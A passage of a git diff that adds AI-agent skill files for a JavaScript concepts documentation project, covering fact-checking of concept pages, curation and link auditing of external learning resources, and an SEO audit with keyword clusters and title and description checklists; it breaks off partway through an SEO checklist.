1-6 +│ ├── call-stack/ +│ ├── primitive-types/ +│ ├── value-reference-types/ +│ ├── type-coercion/ +│ ├── equality-operators/ +│ └── scope-and-closures/ +├── functions-execution/ # Concepts 7-8 +│ ├── event-loop/ +│ └── iife-modules/ +└── web-platform/ # Concepts 9-10 + ├── dom/ + └── http-fetch/ +``` + +### When Tests Are Missing + +If a concept doesn't have tests: +1. Flag this in the report as "needs test coverage" +2. Manually verify code examples are correct +3. Consider adding tests as a follow-up task + +--- + +## Verification Resources + +### Primary Sources + +| Resource | URL | Use For | +|----------|-----|---------| +| MDN Web Docs | https://developer.mozilla.org | API docs, guides, compatibility | +| ECMAScript Spec | https://tc39.es/ecma262 | Authoritative behavior | +| TC39 Proposals | https://github.com/tc39/proposals | New features, stages | +| Can I Use | https://caniuse.com | Browser compatibility | +| Node.js Docs | https://nodejs.org/docs | Node-specific APIs | +| V8 Blog | https://v8.dev/blog | Engine internals | + +### Project Resources + +| Resource | Path | Use For | +|----------|------|---------| +| Test Suite | `/tests/` | Verify code examples | +| Concept Pages | `/docs/concepts/` | Current content | +| Run Tests | `npm test` | Execute all tests | + +--- + +## Fact Check Report Template + +Use this template to document your findings. + +```markdown +# Fact Check Report: [Concept Name] + +**File:** `/docs/concepts/[slug].mdx` +**Date:** YYYY-MM-DD +**Reviewer:** [Name/Claude] +**Overall Status:** ✅ Verified | ⚠️ Minor Issues | ❌ Major Issues + +--- + +## Executive Summary + +[2-3 sentence summary of findings. State whether the page is accurate overall and highlight any critical issues.] + +**Tests Run:** Yes/No +**Test Results:** X passing, Y failing +**External Links Checked:** X/Y valid + +--- + +## Phase 1: Code Example Verification + +| # | Description | Line | Status | Notes | +|---|-------------|------|--------|-------| +| 1 | [Brief description] | XX | ✅/⚠️/❌ | [Notes] | +| 2 | [Brief description] | XX | ✅/⚠️/❌ | [Notes] | +| 3 | [Brief description] | XX | ✅/⚠️/❌ | [Notes] | + +### Code Issues Found + +#### Issue 1: [Title] + +**Location:** Line XX +**Severity:** Critical/Major/Minor +**Current Code:** +```javascript +// The problematic code +``` +**Problem:** [Explanation of what's wrong] +**Correct Code:** +```javascript +// The corrected code +``` + +--- + +## Phase 2: MDN/Specification Verification + +| Claim | Location | Source | Status | Notes | +|-------|----------|--------|--------|-------| +| [Claim made] | Line XX | MDN/Spec | ✅/⚠️/❌ | [Notes] | + +### MDN Link Status + +| Link Text | URL | Status | +|-----------|-----|--------| +| [Text] | [URL] | ✅ 200 / ❌ 404 | + +### Specification Discrepancies + +[If any claims don't match the ECMAScript spec, detail them here] + +--- + +## Phase 3: External Resource Verification + +| Resource | Type | Link | Content | Notes | +|----------|------|------|---------|-------| +| [Title] | Article/Video | ✅/❌ | ✅/⚠️/❌ | [Notes] | + +### Broken Links + +1. **Line XX:** [URL] - 404 Not Found +2. **Line YY:** [URL] - Domain expired + +### Content Concerns + +1. **[Resource name]:** [Concern - e.g., outdated, wrong language, anti-patterns] + +### Description Accuracy + +| Resource | Description Accurate? | Notes | +|----------|----------------------|-------| +| [Title] | ✅/❌ | [Notes] | + +--- + +## Phase 4: Technical Claims Audit + +| Claim | Location | Verdict | Notes | +|-------|----------|---------|-------| +| "[Claim]" | Line XX | ✅/⚠️/❌ | [Notes] | + +### Claims Needing Revision + +1. **Line XX:** "[Current claim]" + - **Issue:** [What's wrong] + - **Suggested:** "[Revised claim]" + +--- + +## Phase 5: Test Results + +**Test File:** `/tests/[category]/[concept]/[concept].test.js` +**Tests Run:** XX +**Passing:** XX +**Failing:** XX + +### Failing Tests + +| Test Name | Expected | Actual | Related Doc Line | +|-----------|----------|--------|------------------| +| [Test] | [Expected] | [Actual] | Line XX | + +### Coverage Gaps + +Examples in documentation without corresponding tests: +- [ ] Line XX: [Description of untested example] +- [ ] Line YY: [Description of untested example] + +--- + +## Issues Summary + +### Critical (Must Fix Before Publishing) + +1. **[Issue title]** + - Location: Line XX + - Problem: [Description] + - Fix: [How to fix] + +### Major (Should Fix) + +1. **[Issue title]** + - Location: Line XX + - Problem: [Description] + - Fix: [How to fix] + +### Minor (Nice to Have) + +1. **[Issue title]** + - Location: Line XX + - Suggestion: [Improvement] + +--- + +## Recommendations + +1. **[Priority 1]:** [Specific actionable recommendation] +2. **[Priority 2]:** [Specific actionable recommendation] +3. **[Priority 3]:** [Specific actionable recommendation] + +--- + +## Verification Checklist + +- [ ] All code examples verified for correct output +- [ ] All MDN links checked and valid +- [ ] API descriptions match MDN documentation +- [ ] ECMAScript compliance verified (if applicable) +- [ ] All external resource links accessible +- [ ] Resource descriptions accurately represent content +- [ ] No common JavaScript misconceptions found +- [ ] Technical claims are accurate and nuanced +- [ ] Project tests run and reviewed +- [ ] Report complete and ready for handoff + +--- + +## Sign-off + +**Verified by:** [Name/Claude] +**Date:** YYYY-MM-DD +**Recommendation:** ✅ Ready to publish | ⚠️ Fix issues first | ❌ Major revision needed +``` + +--- + +## Quick Reference: Verification Commands + +```bash +# Run all tests +npm test + +# Run specific concept tests +npm test -- tests/fundamentals/call-stack/ + +# Check for broken links (if you have a link checker) +# Install: npm install -g broken-link-checker +# Run: blc https://developer.mozilla.org/... -ro + +# Quick JavaScript REPL for testing +node +> typeof null +'object' +> [1,2,3].map(x => x * 2) +[ 2, 4, 6 ] +``` + +--- + +## Summary + +When fact-checking a concept page: + +1. **Run tests first** — `npm test` catches code errors automatically +2. **Verify every code example** — Output comments must match reality +3. **Check all MDN links** — Broken links and incorrect descriptions hurt credibility +4. **Verify external resources** — Must be accessible, accurate, and JavaScript-focused +5. **Audit technical claims** — Watch for misconceptions and unsupported statements +6. **Document everything** — Use the report template for consistent, thorough reviews + +**Remember:** Our readers trust us to teach them correct JavaScript. A single piece of misinformation can create confusion that takes years to unlearn. Take fact-checking seriously. diff --git a/.claude/skills/resource-curator/SKILL.md b/.claude/skills/resource-curator/SKILL.md new file mode 100644 index 00000000..55cc6f50 --- /dev/null +++ b/.claude/skills/resource-curator/SKILL.md @@ -0,0 +1,620 @@ +--- +name: resource-curator +description: Find, evaluate, and maintain high-quality external resources for JavaScript concept documentation, including auditing for broken and outdated links +--- + +# Skill: Resource Curator for Concept Pages + +Use this skill to find, evaluate, add, and maintain high-quality external resources (articles, videos, courses) for concept documentation pages. This includes auditing existing resources for broken links and outdated content. + +## When to Use + +- Adding resources to a new concept page +- Refreshing resources on existing pages +- Auditing for broken or outdated links +- Reviewing community-contributed resources +- Periodic link maintenance + +## Resource Curation Methodology + +Follow these five phases for comprehensive resource curation. + +### Phase 1: Audit Existing Resources + +Before adding new resources, audit what's already there: + +1. **Check link accessibility** — Does each link return 200? +2. **Verify content accuracy** — Is the content still correct? +3. **Check publication dates** — Is it too old for the topic? +4. **Identify outdated content** — Does it use old syntax/patterns? +5. **Review descriptions** — Are they specific or generic? + +### Phase 2: Identify Resource Gaps + +Compare current resources against targets: + +| Section | Target Count | Icon | +|---------|--------------|------| +| Reference | 2-4 MDN links | `book` | +| Articles | 4-6 articles | `newspaper` | +| Videos | 3-4 videos | `video` | +| Courses | 1-3 (optional) | `graduation-cap` | +| Books | 1-2 (optional) | `book` | + +Ask: +- Are there enough resources for beginners AND advanced learners? +- Is there visual content (diagrams, animations)? +- Are official references (MDN) included? +- Is there diversity in teaching styles? + +### Phase 3: Find New Resources + +Search trusted sources using targeted queries: + +**For Articles:** +``` +[concept] javascript tutorial site:javascript.info +[concept] javascript explained site:freecodecamp.org +[concept] javascript site:dev.to +[concept] javascript deep dive site:2ality.com +[concept] javascript guide site:css-tricks.com +``` + +**For Videos:** +``` +YouTube: [concept] javascript explained +YouTube: [concept] javascript tutorial +YouTube: jsconf [concept] +YouTube: [concept] javascript fireship +YouTube: [concept] javascript web dev simplified +``` + +**For MDN:** +``` +[concept] site:developer.mozilla.org +[API name] MDN +``` + +### Phase 4: Write Descriptions + +Every resource needs a specific, valuable description: + +**Formula:** +``` +Sentence 1: What makes this resource unique OR what it specifically covers +Sentence 2: Why reader should click (what they'll gain, who it's best for) +``` + +### Phase 5: Format and Organize + +- Use correct Card syntax with proper icons +- Order resources logically (foundational first, advanced later) +- Ensure consistent formatting + +--- + +## Trusted Sources + +### Reference Sources (Priority Order) + +| Priority | Source | URL | Best For | +|----------|--------|-----|----------| +| 1 | MDN Web Docs | developer.mozilla.org | API docs, guides, compatibility | +| 2 | ECMAScript Spec | tc39.es/ecma262 | Authoritative behavior | +| 3 | Node.js Docs | nodejs.org/docs | Node-specific APIs | +| 4 | Web.dev | web.dev | Performance, best practices | +| 5 | Can I Use | caniuse.com | Browser compatibility | + +### Article Sources (Priority Order) + +| Priority | Source | Why Trusted | +|----------|--------|-------------| +| 1 | javascript.info | Comprehensive, exercises, well-maintained | +| 2 | MDN Guides | Official, accurate, regularly updated | +| 3 | freeCodeCamp | Beginner-friendly, practical | +| 4 | 2ality (Dr. Axel) | Deep technical dives, spec-focused | +| 5 | CSS-Tricks | DOM, visual topics, well-written | +| 6 | dev.to (Lydia Hallie) | Visual explanations, animations | +| 7 | LogRocket Blog | Practical tutorials, real-world | +| 8 | Smashing Magazine | In-depth, well-researched | +| 9 | Digital Ocean | Clear tutorials, examples | +| 10 | Kent C. Dodds | Testing, React, best practices | + +### Video Creators (Priority Order) + +| Priority | Creator | Style | Best For | +|----------|---------|-------|----------| +| 1 | Fireship | Fast, modern, entertaining | Quick overviews, modern JS | +| 2 | Web Dev Simplified | Clear, beginner-friendly | Beginners, fundamentals | +| 3 | Fun Fun Function | Deep-dives, personality | Understanding "why" | +| 4 | Traversy Media | Comprehensive crash courses | Full topic coverage | +| 5 | JSConf/dotJS | Expert conference talks | Advanced, in-depth | +| 6 | Academind | Thorough explanations | Complete understanding | +| 7 | The Coding Train | Creative, visual | Visual learners | +| 8 | Wes Bos | Practical, real-world | Applied learning | +| 9 | The Net Ninja | Step-by-step tutorials | Following along | +| 10 | Programming with Mosh | Professional, clear | Career-focused | + +### Course Sources + +| Source | Type | Notes | +|--------|------|-------| +| javascript.info | Free | Comprehensive, exercises | +| Piccalilli | Free | Well-written, modern | +| freeCodeCamp | Free | Project-based | +| Frontend Masters | Paid | Expert instructors | +| Egghead.io | Paid | Short, focused lessons | +| Udemy (top-rated) | Paid | Check reviews carefully | +| Codecademy | Freemium | Interactive | + +--- + +## Quality Criteria + +### Must Have (Required) + +- [ ] **Link works** — Returns 200 (not 404, 301, 5xx) +- [ ] **JavaScript-focused** — Not primarily about C#, Python, Java, etc. +- [ ] **Technically accurate** — No factual errors or anti-patterns +- [ ] **Accessible** — Free or has meaningful free preview + +### Should Have (Preferred) + +- [ ] **Recent enough** — See publication date guidelines below +- [ ] **Reputable source** — From trusted sources list or well-known creator +- [ ] **Unique perspective** — Not duplicate of existing resources +- [ ] **Appropriate depth** — Matches concept complexity +- [ ] **Good engagement** — Positive comments, high views (for videos) + +### Red Flags (Reject) + +| Red Flag | Why It Matters | +|----------|----------------| +| Uses `var` everywhere | Outdated for ES6+ topics | +| Teaches anti-patterns | Harmful to learners | +| Primarily other languages | Wrong focus | +| Hard paywall (no preview) | Inaccessible | +| Pre-2015 for modern topics | Likely outdated | +| Low quality comments | Often indicates issues | +| Factual errors | Spreads misinformation | +| Clickbait title, thin content | Wastes reader time | + +--- + +## Publication Date Guidelines + +| Topic Category | Minimum Year | Reasoning | +|----------------|--------------|-----------| +| **ES6+ Features** | 2015+ | ES6 released June 2015 | +| **Promises** | 2015+ | Native Promises in ES6 | +| **async/await** | 2017+ | ES2017 feature | +| **ES Modules** | 2018+ | Stable browser support | +| **Optional chaining (?.)** | 2020+ | ES2020 feature | +| **Nullish coalescing (??)** | 2020+ | ES2020 feature | +| **Top-level await** | 2022+ | ES2022 feature | +| **Fundamentals** (closures, scope, this) | Any | Core concepts don't change | +| **DOM manipulation** | 2018+ | Modern APIs preferred | +| **Fetch API** | 2017+ | Widespread support | + +**Rule of thumb:** For time-sensitive topics, prefer content from the last 3-5 years. For fundamentals, older classic content is often excellent. + +--- + +## Description Writing Guide + +### The Formula + +``` +Sentence 1: What makes this resource unique OR what it specifically covers +Sentence 2: Why reader should click (what they'll gain, who it's best for) +``` + +### Good Examples + +```markdown + + Animated GIFs showing the call stack, microtask queue, and event loop in action. + The visuals make Promise execution order finally click for visual learners. + + + + The legendary JSConf talk that made the event loop click for millions of developers. + Philip Roberts' live visualizations are the gold standard — a must-watch. + + + + Kyle Simpson's deep dive into JavaScript's scope mechanics and closure behavior. + Goes beyond the basics into edge cases and mental models for truly understanding scope. + + + + Quick, clear explanation covering Promise creation, chaining, and error handling. + Perfect starting point if you're new to async JavaScript. + + + + The pizza-and-drinks ordering analogy makes parallel vs sequential execution crystal clear. + Essential reading once you know async/await basics but want to write faster code. + +``` + +### Bad Examples (Avoid) + +```markdown + + + A comprehensive guide to Promises in JavaScript. + + + + + This video explains closures in JavaScript. + + + + + Everything you need to know about JavaScript. + + + + + A video about understanding the event loop. + +``` + +### Words and Phrases to Avoid + +| Avoid | Why | Use Instead | +|-------|-----|-------------| +| "comprehensive guide to..." | Vague, overused | Specify what's covered | +| "learn all about..." | Generic | What specifically will they learn? | +| "everything you need to know..." | Hyperbolic | Be specific | +| "great tutorial on..." | Subjective filler | Why is it great? | +| "explains X" | Too basic | How does it explain? What's unique? | +| "in-depth look at..." | Vague | What depth? What aspect? | + +### Words and Phrases That Work + +| Good Phrase | Example | +|-------------|---------| +| "step-by-step walkthrough" | "Step-by-step walkthrough of building a Promise from scratch" | +| "visual explanation" | "Visual explanation with animated diagrams" | +| "deep dive into" | "Deep dive into V8's optimization strategies" | +| "practical examples of" | "Practical examples of closures in React hooks" | +| "the go-to reference for" | "The go-to reference for array method signatures" | +| "finally makes X click" | "Finally makes prototype chains click" | +| "perfect for beginners" | "Perfect for beginners new to async code" | +| "covers X, Y, and Z" | "Covers creation, chaining, and error handling" | + +--- + +## Link Audit Process + +### Step 1: Check Each Link + +For each resource in the concept page: + +1. **Click the link** — Does it load? +2. **Note the HTTP status:** + +| Status | Meaning | Action | +|--------|---------|--------| +| 200 | OK | Keep, continue to content check | +| 301/302 | Redirect | Update to final URL | +| 404 | Not Found | Remove or find replacement | +| 403 | Forbidden | Check manually, may be geo-blocked | +| 5xx | Server Error | Retry later, may be temporary | + +### Step 2: Content Verification + +For each accessible link: + +1. **Skim the content** — Is it still accurate? +2. **Check the date** — When was it published/updated? +3. **Verify JavaScript focus** — Is it primarily about JS? +4. **Look for red flags** — Anti-patterns, errors, outdated syntax + +### Step 3: Description Review + +For each resource: + +1. **Read current description** — Is it specific? +2. **Compare to actual content** — Does it match? +3. **Check for generic phrases** — "comprehensive guide", etc. +4. **Identify improvements** — How can it be more specific? + +### Step 4: Gap Analysis + +After auditing all resources: + +1. **Count by section** — Do we meet targets? +2. **Check diversity** — Beginner AND advanced? Visual AND text? +3. **Identify missing types** — No MDN? No videos? +4. **Note recommendations** — What should we add? + +--- + +## Resource Section Templates + +### Reference Section + +```markdown +## Reference + + + + Official MDN documentation covering [specific aspects]. + The authoritative reference for [what it's best for]. + + + [What this reference covers]. + Essential reading for understanding [specific aspect]. + + +``` + +### Articles Section + +```markdown +## Articles + + + + [What makes it unique/what it covers]. + [Why read this one/who it's for]. + + + [Specific coverage]. + [Value proposition]. + + + [Unique angle]. + [Why it's worth reading]. + + + [What it covers]. + [Best for whom]. + + +``` + +### Videos Section + +```markdown +## Videos + + + + [What it covers/unique approach]. + [Why watch/who it's for]. + + + [Specific focus]. + [What makes it stand out]. + + + [Coverage]. + [Value]. + + +``` + +### Books Section (Optional) + +```markdown + + [What the book covers and its approach]. + [Who should read it and what they'll gain]. + +``` + +### Courses Section (Optional) + +```markdown + + + [What the course covers]. + [Format and who it's best for]. + + +``` + +--- + +## Resource Audit Report Template + +Use this template to document audit findings. + +```markdown +# Resource Audit Report: [Concept Name] + +**File:** `/docs/concepts/[slug].mdx` +**Date:** YYYY-MM-DD +**Auditor:** [Name/Claude] + +--- + +## Summary + +| Metric | Count | +|--------|-------| +| Total Resources | XX | +| Working Links (200) | XX | +| Broken Links (404) | XX | +| Redirects (301/302) | XX | +| Outdated Content | XX | +| Generic Descriptions | XX | + +## Resource Count vs Targets + +| Section | Current | Target | Status | +|---------|---------|--------|--------| +| Reference (MDN) | X | 2-4 | ✅/⚠️/❌ | +| Articles | X | 4-6 | ✅/⚠️/❌ | +| Videos | X | 3-4 | ✅/⚠️/❌ | +| Courses | X | 0-3 | ✅/⚠️/❌ | + +--- + +## Broken Links (Remove or Replace) + +| Resource | Line | URL | Status | Action | +|----------|------|-----|--------|--------| +| [Title] | XX | [URL] | 404 | Remove | +| [Title] | XX | [URL] | 404 | Replace with [alternative] | + +--- + +## Redirects (Update URLs) + +| Resource | Line | Old URL | New URL | +|----------|------|---------|---------| +| [Title] | XX | [old] | [new] | + +--- + +## Outdated Resources (Consider Replacing) + +| Resource | Line | Issue | Recommendation | +|----------|------|-------|----------------| +| [Title] | XX | Published 2014, uses var throughout | Replace with [modern alternative] | +| [Title] | XX | Pre-ES6, no mention of let/const | Find updated version or replace | + +--- + +## Description Improvements Needed + +| Resource | Line | Current | Suggested | +|----------|------|---------|-----------| +| [Title] | XX | "A guide to closures" | "[Specific description with value prop]" | +| [Title] | XX | "Learn about promises" | "[What makes it unique]. [Why read it]." | + +--- + +## Missing Resources (Recommendations) + +| Type | Gap | Suggested Resource | URL | +|------|-----|-------------------|-----| +| Reference | No main MDN link | [Topic] — MDN | [URL] | +| Article | No beginner guide | [Title] — javascript.info | [URL] | +| Video | No visual explanation | [Title] — [Creator] | [URL] | +| Article | No advanced deep-dive | [Title] — 2ality | [URL] | + +--- + +## Non-JavaScript Resources (Remove) + +| Resource | Line | Issue | +|----------|------|-------| +| [Title] | XX | Primarily about C#, not JavaScript | + +--- + +## Action Items + +### High Priority (Do First) +1. **Remove broken link:** [Title] (line XX) +2. **Add missing MDN reference:** [Topic] +3. **Replace outdated resource:** [Title] with [alternative] + +### Medium Priority +1. **Update redirect URL:** [Title] (line XX) +2. **Improve description:** [Title] (line XX) +3. **Add beginner-friendly article** + +### Low Priority +1. **Add additional video resource** +2. **Consider adding course section** + +--- + +## Verification Checklist + +After making changes: + +- [ ] All broken links removed or replaced +- [ ] All redirect URLs updated +- [ ] Outdated resources replaced +- [ ] Generic descriptions rewritten +- [ ] Missing resource types added +- [ ] Resource counts meet targets +- [ ] All new links verified working +- [ ] All descriptions are specific and valuable +``` + +--- + +## Quick Reference + +### Icon Reference + +| Content Type | Icon Value | +|--------------|------------| +| MDN/Official docs | `book` | +| Articles/Blog posts | `newspaper` | +| Videos | `video` | +| Courses | `graduation-cap` | +| Books | `book` | +| Related concepts | Context-appropriate | + +### Character Guidelines + +| Element | Guideline | +|---------|-----------| +| Card title | Keep concise, include creator for videos | +| Description sentence 1 | What it covers / what's unique | +| Description sentence 2 | Why read/watch / who it's for | + +### Resource Ordering + +Within each section, order resources: +1. **Most foundational/beginner-friendly first** +2. **Official references before community content** +3. **Most highly recommended prominently placed** +4. **Advanced/niche content last** + +--- + +## Quality Checklist + +### Link Verification +- [ ] All links return 200 (not 404, 301) +- [ ] No redirect chains +- [ ] No hard paywalls without notice +- [ ] All URLs are HTTPS where available + +### Content Quality +- [ ] All resources are JavaScript-focused +- [ ] No resources teaching anti-patterns +- [ ] Publication dates appropriate for topic +- [ ] Mix of beginner and advanced content +- [ ] Visual and text resources included + +### Description Quality +- [ ] All descriptions are specific (not generic) +- [ ] Descriptions explain unique value +- [ ] No "comprehensive guide to..." phrases +- [ ] Each description is 2 sentences +- [ ] Descriptions match actual content + +### Completeness +- [ ] 2-4 MDN/official references +- [ ] 4-6 quality articles +- [ ] 3-4 quality videos +- [ ] Resources ordered logically +- [ ] Diversity in teaching styles + +--- + +## Summary + +When curating resources for a concept page: + +1. **Audit first** — Check all existing links and content +2. **Identify gaps** — Compare against targets (2-4 refs, 4-6 articles, 3-4 videos) +3. **Find quality resources** — Search trusted sources +4. **Write specific descriptions** — What's unique + why read/watch +5. **Format correctly** — Proper Card syntax, icons, ordering +6. **Document changes** — Use the audit report template + +**Remember:** Resources should enhance learning, not pad the page. Every link should offer genuine value. Quality over quantity — a few excellent resources beat many mediocre ones. diff --git a/.claude/skills/seo-review/SKILL.md b/.claude/skills/seo-review/SKILL.md new file mode 100644 index 00000000..acc711ad --- /dev/null +++ b/.claude/skills/seo-review/SKILL.md @@ -0,0 +1,951 @@ +--- +name: seo-review +description: Perform a focused SEO audit on JavaScript concept pages to maximize search visibility, featured snippet optimization, and ranking potential +--- + +# Skill: SEO Audit for Concept Pages + +Use this skill to perform a focused SEO audit on concept documentation pages for the 33 JavaScript Concepts project. The goal is to maximize search visibility for JavaScript developers. + +## When to Use + +- Before publishing a new concept page +- When optimizing underperforming pages +- Periodic content audits +- After major content updates +- When targeting new keywords + +## Goal + +Each concept page should rank for searches like: +- "what is [concept] in JavaScript" +- "how does [concept] work in JavaScript" +- "[concept] JavaScript explained" +- "[concept] JavaScript tutorial" +- "[concept] JavaScript example" + +--- + +## SEO Audit Methodology + +Follow these five steps for a complete SEO audit. + +### Step 1: Identify Target Keywords + +Before auditing, identify the keyword cluster for the concept. + +#### Keyword Cluster Template + +| Type | Pattern | Example (Closures) | +|------|---------|-------------------| +| **Primary** | [concept] JavaScript | closures JavaScript | +| **What is** | what is [concept] in JavaScript | what is a closure in JavaScript | +| **How does** | how does [concept] work | how do closures work | +| **How to** | how to use/create [concept] | how to use closures | +| **Why** | why use [concept] | why use closures JavaScript | +| **Examples** | [concept] examples | closure examples JavaScript | +| **vs** | [concept] vs [related] | closures vs scope | +| **Interview** | [concept] interview questions | closure interview questions | + +### Step 2: On-Page SEO Audit + +Check all on-page SEO elements systematically. + +### Step 3: Featured Snippet Optimization + +Verify content is structured to win featured snippets. + +### Step 4: Internal Linking Audit + +Check the internal link structure. + +### Step 5: Generate Report + +Document findings using the report template. + +--- + +## Keyword Clusters by Concept + +Use these pre-built keyword clusters for each concept. + + + + | Type | Keywords | + |------|----------| + | Primary | JavaScript call stack, call stack JavaScript | + | What is | what is the call stack in JavaScript | + | How does | how does the call stack work | + | Error | maximum call stack size exceeded, stack overflow JavaScript | + | Visual | call stack visualization, call stack explained | + | Interview | call stack interview questions JavaScript | + + + + | Type | Keywords | + |------|----------| + | Primary | JavaScript primitive types, primitives in JavaScript | + | What are | what are primitive types in JavaScript | + | List | JavaScript data types, types in JavaScript | + | vs | primitives vs objects JavaScript | + | typeof | typeof JavaScript, JavaScript typeof operator | + | Interview | JavaScript types interview questions | + + + + | Type | Keywords | + |------|----------| + | Primary | JavaScript value vs reference, pass by reference JavaScript | + | What is | what is pass by value in JavaScript | + | How does | how does JavaScript pass objects | + | Comparison | value types vs reference types JavaScript | + | Copy | how to copy objects JavaScript, deep copy JavaScript | + + + + | Type | Keywords | + |------|----------| + | Primary | JavaScript type coercion, type conversion JavaScript | + | What is | what is type coercion in JavaScript | + | How does | how does type coercion work | + | Implicit | implicit type conversion JavaScript | + | Explicit | explicit type conversion JavaScript | + | Interview | type coercion interview questions | + + + + | Type | Keywords | + |------|----------| + | Primary | JavaScript equality, == vs === JavaScript | + | What is | what is the difference between == and === | + | Comparison | loose equality vs strict equality JavaScript | + | Best practice | when to use == vs === | + | Interview | JavaScript equality interview questions | + + + + | Type | Keywords | + |------|----------| + | Primary | JavaScript closures, JavaScript scope | + | What is | what is a closure in JavaScript, what is scope | + | How does | how do closures work, how does scope work | + | Types | types of scope JavaScript, lexical scope | + | Use cases | closure use cases, why use closures | + | Interview | closure interview questions JavaScript | + + + + | Type | Keywords | + |------|----------| + | Primary | JavaScript event loop, event loop JavaScript | + | What is | what is the event loop in JavaScript | + | How does | how does the event loop work | + | Visual | event loop visualization, event loop explained | + | Related | call stack event loop, task queue JavaScript | + | Interview | event loop interview questions | + + + + | Type | Keywords | + |------|----------| + | Primary | JavaScript Promises, Promises in JavaScript | + | What is | what is a Promise in JavaScript | + | How to | how to use Promises, how to chain Promises | + | Methods | Promise.all, Promise.race, Promise.allSettled | + | Error | Promise error handling, Promise catch | + | vs | Promises vs callbacks, Promises vs async await | + + + + | Type | Keywords | + |------|----------| + | Primary | JavaScript async await, async await JavaScript | + | What is | what is async await in JavaScript | + | How to | how to use async await, async await tutorial | + | Error | async await error handling, try catch async | + | vs | async await vs Promises | + | Interview | async await interview questions | + + + + | Type | Keywords | + |------|----------| + | Primary | JavaScript this keyword, this in JavaScript | + | What is | what is this in JavaScript | + | How does | how does this work in JavaScript | + | Binding | call apply bind JavaScript, this binding | + | Arrow | this in arrow functions | + | Interview | this keyword interview questions | + + + + | Type | Keywords | + |------|----------| + | Primary | JavaScript prototype, prototype chain JavaScript | + | What is | what is a prototype in JavaScript | + | How does | how does prototype inheritance work | + | Chain | prototype chain explained | + | vs | prototype vs class JavaScript | + | Interview | prototype interview questions JavaScript | + + + + | Type | Keywords | + |------|----------| + | Primary | JavaScript DOM, DOM manipulation JavaScript | + | What is | what is the DOM in JavaScript | + | How to | how to manipulate DOM JavaScript | + | Methods | getElementById, querySelector JavaScript | + | Events | DOM events JavaScript, event listeners | + | Performance | DOM performance, virtual DOM vs DOM | + + + + | Type | Keywords | + |------|----------| + | Primary | JavaScript higher order functions, higher order functions | + | What are | what are higher order functions | + | Examples | map filter reduce JavaScript | + | How to | how to use higher order functions | + | Interview | higher order functions interview | + + + + | Type | Keywords | + |------|----------| + | Primary | JavaScript recursion, recursion in JavaScript | + | What is | what is recursion in JavaScript | + | How to | how to write recursive functions | + | Examples | recursion examples JavaScript | + | vs | recursion vs iteration JavaScript | + | Interview | recursion interview questions | + + + +--- + +## Audit Checklists + +### Title Tag Checklist (4 points) + +| # | Check | Points | How to Verify | +|---|-------|--------|---------------| +| 1 | Length 50-60 characters | 1 | Count characters in `title` frontmatter | +| 2 | Primary keyword in first half | 1 | Concept name appears early | +| 3 | Ends with "in JavaScript" | 1 | Check title ending | +| 4 | Contains compelling hook | 1 | Promises value/benefit to reader | + +**Scoring:** +- 4/4: ✅ Excellent +- 3/4: ⚠️ Good, minor improvements possible +- 0-2/4: ❌ Needs significant work + +**Title Formula:** +``` +[Concept]: [What You'll Understand] in JavaScript +``` + +**Good Examples:** +| Concept | Title (with character count) | +|---------|------------------------------| +| Closures | "Closures: How Functions Remember Their Scope in JavaScript" (58 chars) | +| Event Loop | "Event Loop: How Async Code Actually Runs in JavaScript" (54 chars) | +| Promises | "Promises: Handling Async Operations in JavaScript" (49 chars) | +| DOM | "DOM: How Browsers Represent Web Pages in JavaScript" (51 chars) | + +**Bad Examples:** +| Issue | Bad Title | Better Title | +|-------|-----------|--------------| +| Too short | "Closures" | "Closures: How Functions Remember Their Scope in JavaScript" | +| Too long | "Understanding JavaScript Closures and How They Work with Examples" (66 chars) | "Closures: How Functions Remember Their Scope in JavaScript" (58 chars) | +| No hook | "JavaScript Closures" | "Closures: How Functions Remember Their Scope in JavaScript" | +| Missing "JavaScript" | "Understanding Closures and Scope" | Add "in JavaScript" at end | + +--- + +### Meta Description Checklist (4 points) + +| # | Check | Points | How to Verify | +|---|-------|--------|---------------| +| 1 | Length 150-160 characters | 1 | Count characters in `description` frontmatter | +| 2 | Starts with action word | 1 | "Learn", "Understand", "Discover" (NOT "Master") | +| 3 | Contains primary keyword | 1 | Concept name + "JavaScript" present | +| 4 | Promises specific value | 1 | Lists what reader will learn | + +**Description Formula:** +``` +[Action word] [what it is] in JavaScript. [Specific things they'll learn]: [topic 1], [topic 2], and [topic 3]. +``` + +**Good Examples:** + +| Concept | Description | +|---------|-------------| +| Closures | "Learn JavaScript closures and how functions remember their scope. Covers lexical scoping, practical use cases, memory considerations, and common closure patterns." (159 chars) | +| Event Loop | "Discover how the JavaScript event loop manages async code execution. Understand the call stack, task queue, microtasks, and why JavaScript is single-threaded but non-blocking." (176 chars - trim!) | +| DOM | "Learn how the DOM works in JavaScript. Understand how browsers represent HTML as a tree, select and manipulate elements, traverse nodes, and optimize rendering." (162 chars) | + +**Bad Examples:** + +| Issue | Bad Description | Fix | +|-------|-----------------|-----| +| Too short | "Learn about closures" | Expand to 150-160 chars with specifics | +| Starts with "Master" | "Master JavaScript closures..." | "Learn JavaScript closures..." | +| Too vague | "A guide to closures" | List specific topics covered | +| Missing keyword | "Functions can remember things" | Include "closures" and "JavaScript" | + +--- + +### Keyword Placement Checklist (5 points) + +| # | Check | Points | How to Verify | +|---|-------|--------|---------------| +| 1 | Primary keyword in title | 1 | Check frontmatter `title` | +| 2 | Primary keyword in meta description | 1 | Check frontmatter `description` | +| 3 | Primary keyword in first 100 words | 1 | Check opening paragraphs | +| 4 | Keyword in at least one H2 heading | 1 | Scan all `##` headings | +| 5 | No keyword stuffing | 1 | Content reads naturally | + +**Keyword Placement Map:** + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ KEYWORD PLACEMENT │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ 🔴 CRITICAL (Must have keyword) │ +│ ───────────────────────────────── │ +│ • title frontmatter │ +│ • description frontmatter │ +│ • First paragraph (within 100 words) │ +│ • At least one H2 heading │ +│ │ +│ 🟡 RECOMMENDED (Include naturally) │ +│ ────────────────────────────────── │ +│ • "What you'll learn" Info box │ +│ • H3 subheadings │ +│ • Key Takeaways section │ +│ • First sentence after major H2s │ +│ │ +│ ⚠️ AVOID │ +│ ───────── │ +│ • Same phrase >4 times per 1000 words │ +│ • Forcing keywords where pronouns work better │ +│ • Awkward sentence structures to fit keywords │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +--- + +### Content Structure Checklist (6 points) + +| # | Check | Points | How to Verify | +|---|-------|--------|---------------| +| 1 | Opens with question hook | 1 | First paragraph asks engaging question | +| 2 | Code example in first 200 words | 1 | Simple example appears early | +| 3 | 